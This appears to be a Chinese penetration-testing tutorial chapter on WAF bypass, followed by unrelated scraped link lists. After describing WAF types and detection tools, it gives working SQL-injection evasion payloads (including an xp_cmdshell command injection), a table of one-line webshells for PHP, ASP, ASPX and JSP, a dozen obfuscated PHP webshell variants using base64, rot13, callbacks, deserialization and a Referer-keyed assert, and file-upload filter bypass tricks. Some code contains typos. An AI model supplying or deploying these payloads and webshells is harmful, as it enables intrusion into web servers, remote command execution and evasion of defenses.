第五章-WAF 绕过
WAF 绕过
1.WAF分类
1.1.软件 WAF
一般被安装到 Web 服务器中直接对其进行防护,能够接触到服务器上的文件,直接检测服务器上是否有不安全的文件和操作等。
常见的软件:安全狗、云盾、云锁等
1.2.硬件 WAF
以硬件的形式部署在网络链路中,串联部署、旁路部署
串联部署的 WAF 在检测到恶意流程之后可以直接拦截
旁路部署的 WAF 只能记录攻击流程,无法直接进行拦截
常见的硬件 WAF:绿盟 WAF、天融信 WAF、360 WAF 等各大厂商的产品
1.3.云 WAF
前两种无法适配云端业务系统,云 WAF 一般以反向代理的方式进行配置,通过配置 NS 记录或者 CNAME 记录,使相关的服务请求先被发送到云 WAF
常见的云 WAF:安全宝、百度加速乐等
1.4.网站内置 WAF
程序员将拦截防护的功能内嵌到网站中,可以直接对用户的请求进行过滤
这种方式使用在早期防护,自由度较高,但防护能力一般,升级迭代比较麻烦
2.WAF 处理流程
大致分为四个流程:预处理、规则检测、处理模块、日志记录
第一步:预处理。用户请求 Web 服务,该请求到达服务器后先进行身份认证,通过匹配白名单进行检测,判断是否归属白名单。如果归属,就直接把该请求发送到服务器;不然就先进行数据包解析;
第二步:规则检测。上述数据包完成解析后会被投放到规则系统进行匹配,判断是否有不符合规则的请求。如果符合规则,则该数据会被放行到服务器;
第三步:处理模块。如果不符合规则,则会进行拦截,并弹出警告页面。不同 WAF 的产品弹出的警告页面各不相同;
第四步:日志记录。WAF 会将拦截处理等行为记录在日志中,便于对日志进行分析。
3.WAF 识别
3.1.sqlmap 判断
检测语句:sqlmap -u "url" --identify-waf --batch
如果安装的 WAF 没有 “指纹” 特征(比较隐蔽或在 sqlmap 的指纹库中没有该特征信息),那么识别出的结果就是 Generic
注意:详细的识别规则在 sqlmap 的 waf 目录下,也可自己编写规则,编写完成后直接放在 waf 目录下即可
3.2.WAFW00F 识别
安装及简单使用:
git clone https://github.com/EnableSecurity/wafw00f
cd wafw00f
python setup.py install
wafw00f -l #显示可检测出的 WAF 类型
wafw00f https://www.example.org #检测 WAF 命令
其他工具:https://github.com/stamparm/identYwaf/tree/master
3.3.手工判断
查看网站的拦截页面,被拦截的表现为页面无法访问、响应码不同、返回与正常请求网页时不同的结果等,各类 WAF 的响应页面信息也不同
响应页面:https://github.com/stamparm/identYwaf/tree/master/screenshots、https://developer.aliyun.com/article/1340129
4.SQL 注入漏洞绕过
4.1.大小写绕过
union --> uUiOn
4.2.替换关键字绕过
4.2.1.关键词双写
union --> UNIunionON
4.2.2.同价词替换
and | && |
or | || |
= | <、> |
空格 | %20、%09、%0a、%0b、%0c、%0d、%a0、/**/ |
4.2.3.特殊字符拼接
常见的特殊符号:+、#、%23、--+、\\\\、``、@、~、!、%、()、[]、|、%00 等
例如:
select`version`(); #可以绕过空格的过滤
select+id-1+1.from users; #+ 用于连接字符串,使用 - 和 . 可以绕过对空格和关键词的过滤
index.aspx?id=1;exec('ma'+'ster..x'+'p_cm'+dsh+'ell "net user"'); #可以绕过对空格和关键词的过滤,exec 中原语句:master xp_cmdshell net user
4.3.编码绕过
常见编码类型:URL 编码、Base64 编码、Unicode 编码、HEC 编码、ASCII 编码等
4.3.1.URL 编码
在浏览器的输入框中,非保留字的字符会被 URL 编码,如空格变为 %20、单引号变为 %27、左括号变为 %28 等
在绕过 WAF 时可以考虑 URL 编码,针对特殊情况可以进行两次 URL 编码(payload 到达服务器后会自动进行一次 URL 解码,再经过代码中的 urldecode 函数解码)
4.3.2.Base64 编码
一种将二进制数据转换为文本格式的编码方式,将三个字节的二进制数据编码为4个可打印字符
原字符串:select user() --+
编码后:c2VsZWN0IHVzZXIoKSAtLSs=
4.3.3.HEX 编码
原字符串:select user() --+
编码后:\u0073\u0065\u006c\u0065\u0063\u0074\u0020\u0075\u0073\u0065\u0072\u0028\u0029\u0020\u002d\u002d\u002b
4.3.3.Unicode 编码
原字符串:select user() --+
编码后:select user() --+
在线编码网站
4.4.内联注释绕过
指再 SQL 语句中使用注释来避免注入攻击的一种技术,可在无法使用参数化查询或存储的情况下,通过在 SQL 语句中嵌入注释来绕过注入攻击
内联注释原理:在 SQL 语句中嵌入注释,使攻击者无法额外的语句或修改现有的语句(如:使用 -- 来注释整行代码,或使用 /**/ 来注释一段代码)
绕过:
在MySQL中扩展了注释的功能:/*!50001payload*/,这种情况注释里的语句将被执行
例:1'+and +/*!50001sleep(3)*/+and+1=1%23
4.5.HTTP 参数污染
HTTP 参数污染(HTTP Parameter Polution,HPP),又被称为重复参数污染,指当同一参数出现多次时,不同的服务器中间件会将其解析为不同的结果
如果 WAF 只检测了同名参数的第一个或最后一个,并且服务器中间件的特性正好取与 WAF 相反的参数,则可能成功绕过
常见参数污染方法:
服务器中间件
|
解析结果
|
举例说明
|
ASP .NET/ IIS
|
所有出现的参数值用逗号连接
|
color=red,blue
|
ASP / IIS
|
所有出现的参数值用逗号连接
|
color=red,blue
|
PHP / Apache
|
仅最后一次出现参数值
|
color=blue
|
PHP / Zeus
|
仅最后一次出现参数值
|
color=blue
|
JSP,Servlet / Apache Tomcat
|
仅第一次数显参数值
|
color=red
|
JSP,Servlet / Oracle Application Server 10g
|
仅第一次数显参数值
|
color=red
|
JSP,Servlet / Jetty
|
仅第一次数显参数值
|
color=red
|
IBM Lotus Domino
|
仅最后一次出现参数值
|
color=blue
|
IBM HTTP Server
|
仅第一次数显参数值
|
color=red
|
mod_perl,libapreq2 / Apache
|
仅第一次数显参数值
|
color=red
|
Perl CGI / Apache
|
仅第一次数显参数值
|
color=red
|
mod_wsgi(python) / Apache
|
仅第一次数显参数值
|
color=red
|
Python / Zope
|
转化为 List
|
color=['red','blue']
|
例:xxx.php?id=1'union--+&id=*/%0aselect 1,2,'web.config'--+
Bypass语句:xxx.php?id=1'union--+&id=*/%0aselect 1&iid=2&id='web.config'--+
4.6.分块传输
需要对 POST 数据进行分块传输编码,是 HTTP 的一种传输方式,适用于 HTTP 1.1 版本,需要在请求行中添加 Transfer-Encoding: Chunked。
做法:
- 先拦截数据并将其发送到 Burt Suite 的 Reperter 模块;
- 再使用 Burp Suite 的 Chunked coding comverter 选项,对 POST 数据进行分块传输编码(Encoing request body);
- 向服务器发送已构造好的数据
4.7.sqlmap 绕过 WAF
sqlmap 发出的数据包在默认情况下不会被处理,可能会被服务器的拦截规则 pass,这种情况下可以考虑使用参数 tamper
当脚本在实际测试过程中用处不大时,需要对其进行修改或者重现编写
脚本参考:https://www.cnblogs.com/luoluostudy/p/18115882
5.webshell 变形
5.1.常见一句话木马
类型 | 基本木马 |
PHP | <?php @eval($_POST['key']);?>等 |
ASPX | <%@ Page Language="Jscript"%><%eval(Request.Item["g"],"unsafe");%>等 |
ASP | <% eval request("cmd")%>等 |
JSP | <%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ returm super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant"); if(cls!=null){ new U(this.getClass.getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>等 |
小马:代码量比一句话木马多,功能比较单一,比如写木马文件、读敏感文件等,容易被杀软查杀,常见有404小马、功能小马等
大马:代码量大,体积大,可以和一句话木马配合使用(先绕过一句话木马,再上传大马),容易被发现,可以变形或伪装(编码、远程接入等),功能主要为文件管理、命令执行、数据库管理、清理木马、写木马、信息收集、提权、内网渗透等
5.2.自定义函数
create_function 函数,用于在运行时动态创建一个函数
用法:mixed create_function(string $args, string $code)
$args:表示函数的参数列表,使用逗号分割,每个参数可以有一个初始值
$code:表示函数的主体部分,是一个字符串形式的 PHP 代码块
构造一句话木马的脚本:<?php $fun=create_function(' ',$POST['a'];$fun();?>
5.3.回调函数
call_user_func 函数,用于调用第一个参数给定的回调并将其余参数作为参数传递
用法:mixed call_user_func( $function_name[, mixed $value1[, mixed $...]])
$function_name:表示已定义函数列表中函数调用的名称,是一个字符串类型参数
$value:表示混合值,是一个或多个要传递给函数的参数
构造一句话木马脚本:<?Php @call_user_func(assert, $_POST['a']);?>
5.4.脚本型 Webshell
构造脚本型木马的脚本:<script language=php>@eval($_POST['web']);</script>
5.5.加解密
5.5.1. base64_decode 函数
<?php
$a=base64_decode("ZXZhbA==");//assert
$a($_POST['a']);
?>
5.5.2.str_rot13 函数
算法:将字母表中每一个字母都替换为它后面的第 13 个字母
<?php
$a=str_rot13("nffreg");//assert
$a($_POST['p']);
?>
5.5.3.综合加密类变形
<?php
if(isset($_POST['com'])&&md5($_POST['com'])=='202cb962ac59075b964b07152d234b70'&&isset($_POST['content'])) $content=strtr($_POST['content'], '-_,','+/=');eval(base64_decode($content));
?>
#202cb962ac59075b964b07152d234b70--123
5.6.反序列化
两个函数:serialize()、unserialize()
<?php
class Blog
{var $vul='';
function_destruct()
{eval($this->vul);}}
unserialize($_GET['name']);
?>
测试payload:index.php?name=O:4:"Blog":1:{s:3:"vul";s:10:"phpinfo();";}
5.7.类的方法
将操作封装成正常的类,再进行调用
<?php
class log
{function write($er)
{@assert($er);//在定义的类中肯定有某些危险的函数用来执行或解析代码
}}
$win=new log();
$win->write($_POST['p']);
?>
5.8.其他方法
5.8.1.get_defined_functions 函数构造木马
作用:返回所有一定义的函数,包括内置函数和用户定义的函数
通过该函数得到所有函数
<?php
$a=get_defined_functions();
//print_r($a['internal']);
$a['internal'][1110]($_GET['a']);
?>
5.8.2.forward_static_call_array 函数构造木马
作用:允许调用一个类的静态方法,并将方法的参数作为一个数组传递
语法:forward_static_call_array(callable $callback, array $parameters): mixed
$callback:指定要调用的静态方法,可以使用字符串表示,如:MyClass::myMethod;或者使用数组形式表示,如:[$myObject, 'myMethod']
$parameters:包含方法参数的数组
<?php
/**
* Noticed : (PHP 5 >= 5.3.0, PHP 7)
*/
$password="cream_sec"; #密码是cream_sec
$wx=substr($_SERVER["HTTP_REFERER"],-7,4);
forward_static_call_array($wx."ert", array($_REQUEST[$password]));
?>
请求时,先设置 Referer 头,后面以 “ass” 结尾,如:Referer: https://www.baidu.com/ass.php
6.文件上传漏洞绕过
文件上传漏洞原因:
- 文件类型检测不严格;
- 文件大小限制不严格;
- 上传路径可控
- 文件名可控等。
6.1.换行绕过
上传文件,拦截数据包,在文件名处直接添加换行即可
6.2.多个等号绕过
上传文件,拦截数据包,在文件名处添加多个等号:filename===="info.php"
6.3.00 截断绕过
针对文件名可控的文件上传漏洞
上传文件,拦截数据包,在 HEX 模式下,在文件最后添加 %00
6.4.文件名加 ; 绕过
在文件后缀点前面添加 ;:filename="info;.php"
6.5.文件名加 ' 绕过
在文件后缀点前添加 ' :filename="info'.php"
第五章-WAF 绕过的更多相关文章
- 《Linux内核设计与实现》读书笔记 第五章 系统调用
第五章系统调用 系统调用是用户进程与内核进行交互的接口.为了保护系统稳定可靠,避免应用程序恣意忘形. 5.1与内核通信 系统调用在用户空间进程和硬件设备间添加了一个中间层, 作用:为用户空间提供了一种 ...
- 《Linux内核设计与实现》课本第五章学习笔记——20135203齐岳
<Linux内核设计与实现>课本第五章学习笔记 By20135203齐岳 与内核通信 用户空间进程和硬件设备之间通过系统调用来交互,其主要作用有三个. 为用户空间提供了硬件的抽象接口. 保 ...
- WAF绕过神器 (过安全狗、智创SQL注入)
WAF绕过神器 (过安全狗.智创SQL注入) 发布时间:-- :10文章来源:网络文章作者:panni007 点击次数: 次 分享到: QQ空间 QQ微博 新浪微博 开心网 人人网 摘要:起因: by ...
- 《linux内核设计与实现》第五章
第五章 系统调用 一.与内核通信 系统调用在用户空间进程和硬件设备之间添加了一个中间层.作用: 为用户空间提供了一种硬件的抽象接口. 系统调用保证了系统的稳定和安全. 每个进程都运行在虚拟系统中,而在 ...
- 《Linux内核设计与实现》 第五章学习笔记
第五章 系统调用 在现代操作系统中,内核提供了进程与内核进行交互的一组接口.有如下作用: 让应用程序受限的访问硬件设备 提供了创新进程并与已有进程进行通信的机制 提供了申请操作系统其它资源的能力 保证 ...
- Linux内核分析 读书笔记 (第五章)
第五章 系统调用 5.1 与内核通信 1.调用在用户空间进程和硬件设备之间添加了一个中间层.该层主要作用有三个: 为用户空间提供了硬件的抽象接口. 系统调用保证了系统的稳定和安全. 实现多任务和虚拟内 ...
- Linux内核分析——第五章 系统调用
第五章 系统调用 5.1 与内核通信 1.系统调用在用户空间进程和硬件设备之间添加了一个中间层,该层主要作用有三个: (1)为用户空间提供了一种硬件的抽象接口 (2)系统调用保证了系统的稳定和安全 ( ...
- Linux内核分析第五章读书笔记
第五章 系统调用 在操作系统中,内核提供了用户进程与内核进行交互的一组接口,这些接口在应用程序和内核之间扮演了使者的角色,保证系统稳定可靠,避免应用程序肆意妄行. 5.1 与内核通信 系统调用在用户空 ...
- Linux 第五章 学习笔记
---恢复内容开始--- 第五章 系统调用 一.与内核通信 1.系统调用在用户控件进程和硬件设备之间添加了一个中间层. 为用户空间提供了一种硬件的抽象接口 系统调用保证了系统的稳定和安全 每个进程都运 ...
- 《Linux内核设计与实现》第四周读书笔记——第五章
<Linux内核设计与实现>第四周读书笔记--第五章 20135301张忻 估算学习时间:共1.5小时 读书:1.0 代码:0 作业:0 博客:0.5 实际学习时间:共2.0小时 读书:1 ...
随机推荐
- AXI4自定义FPGA外设理论基础
AXI4自定义FPGA外设理论基础 1.理论目的 在前面的基于AXI4的自定义GPIO的实验中,大概地了解了AXI4的工作模式,即以寄存器为缓冲,实现操作和传输.那个实验只是将自定义的FPGA连接到现 ...
- 搭建Spring Cloud父工程
1.首先创建一个maven项目 删除src目录,当做一级目录用来管理第三方jar版本控制. 2.配置pom文件. SpringCloud.SpringCloudAlibaba.SpringBoot版本 ...
- KingbaseES V8R6 等待事件之DataFileRead
等待事件含义 IO:DataFileRead等待事件发生在会话连接等待后端进程从存储中读取所需页面,原因是该页面在共享内存中不可用或无法找到. 所有查询和数据操作(DML)操作都访问缓冲池中的页面,语 ...
- KingbaseES V8R3 表加密
前言 透明加密是指将数据库page加密后写入磁盘,当需要读取对应page时进行加密读取.此过程对于用户是透明, 用户无需干预. 该文档进行数据库V8R3版本测试透明加密功能,需要说明,该版本发布时间早 ...
- 强!10.6K star,一款开源HTTP测试工具,适合新手,简单、容易上手!
大家好,我是狂师! 今天给大家推荐一款开源的HTTP测试工具:Hurl,相比curl.wget功能更强大,且更容易上手.很适用新手使用. 1.项目介绍 Hurl是一个使用Rust语言开发的命令行工具, ...
- gRPC入门学习之旅(五)
gRPC入门学习之旅(一) gRPC入门学习之旅(二) gRPC入门学习之旅(三) gRPC入门学习之旅(四) 通过之前的文章,我们已经创建了gRPC的服务端应用程序,那么应该如何来使用这个服务端应用 ...
- 深入学习 XML 解析器及 DOM 操作技术
所有主要的浏览器都内置了一个XML解析器,用于访问和操作XML XML 解析器 在访问XML文档之前,必须将其加载到XML DOM对象中 所有现代浏览器都有一个内置的XML解析器,可以将文本转换为XM ...
- Python制作词云--stylecloud简单使用
安装 pip install stylecloud 使用 from stylecloud import gen_stylecloud gen_stylecloud('zhangsan lisi wan ...
- Python-List内部实现
Python有很大实现的版本,像拿C语言实现的Cpython,以及在其基础上改进其解释执行变为即时编译(jit)的Pypy,还有一些其他的比如Jpython等.具体来说 其中使用c语言开发的叫做pyt ...
- signalr 应用于微信小程序(一)
前言 在2017年基于signalr 和微信小程序 写的脚本. 正文 先安装signalr: 1.安装singalr,用nutget就行,用这个包管理就行. 2.使用singalr 3.根据singa ...